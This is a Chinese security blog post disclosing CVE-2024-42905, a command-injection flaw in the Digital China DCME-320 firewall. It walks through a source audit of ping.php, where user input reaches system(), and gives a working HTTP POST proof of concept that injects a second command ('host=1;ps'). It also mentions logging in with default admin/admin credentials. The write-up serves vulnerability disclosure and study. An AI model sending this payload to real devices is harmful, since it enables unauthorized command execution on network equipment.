【IoT安全】神州数码DCME-320防火墙命令执行漏洞挖掘(CVE-2024-42905)

admin 2024年9月19日15:52:53评论97 views字数 1192阅读3分58秒阅读模式

一、漏洞简介

公司网站:

https://www.dcnimcloud.com/

产品简介:

DCME-320是北京神州数码云科信息技术有限公司采用MIPS多核高性能处理器,针对多用户数、多流量、多业务种类的业务需求而推出的新一代高性能互联网出口网关。

漏洞危害:

北京神州数码云科信息技术有限公司DCME-320存在命令执行漏洞,攻击者可利用该漏洞执行任意命令。

漏洞影响产品:

DCME-320 Version 7.4.12.60

分发CVE编号:

CVE-2024-42905

二、漏洞代码审计

打开防火墙源码/function/system/tool/ping.php文件,看到通过getVar函数从前端获取host、proto、count三个参数值,在25行将这三个参数拼接成cmd变量,最后将cmd变量存入data数组:

【IoT安全】神州数码DCME-320防火墙命令执行漏洞挖掘(CVE-2024-42905)

跟踪data数组,看到在109行判断data数组的cmd元素是否存在,如果存在就在119行将data数组的cmd元素传递给system函数执行系统命令。

【IoT安全】神州数码DCME-320防火墙命令执行漏洞挖掘(CVE-2024-42905)

三、漏洞复现

漏洞利用POC:

POST /function/system/tool/ping.php HTTP/1.1Host: ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 107Connection: closeCookie: cookieUpgrade-Insecure-Requests: 1Priority: u=4
dcn_test_a_967=21&dcn_test_b_967=122&dcn_test_c_967=111&dcn_test_d=_967&doing=ping&host=1;ps&proto=&count=1

打开存在漏洞的设备网站:

【IoT安全】神州数码DCME-320防火墙命令执行漏洞挖掘(CVE-2024-42905)

输入账号admin密码admin登录设备,同时抓取登录成功后的请求包拿到Cookie:

【IoT安全】神州数码DCME-320防火墙命令执行漏洞挖掘(CVE-2024-42905)

发送POC执行ps命令,看到响应包返回ps命令执行结果,攻击成功。

【IoT安全】神州数码DCME-320防火墙命令执行漏洞挖掘(CVE-2024-42905)

原文始发于微信公众号(ZackSecurity):【IoT安全】神州数码DCME-320防火墙命令执行漏洞挖掘(CVE-2024-42905)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月19日15:52:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【IoT安全】神州数码DCME-320防火墙命令执行漏洞挖掘(CVE-2024-42905)https://cn-sec.com/archives/3178858.html

发表评论

匿名网友 填写信息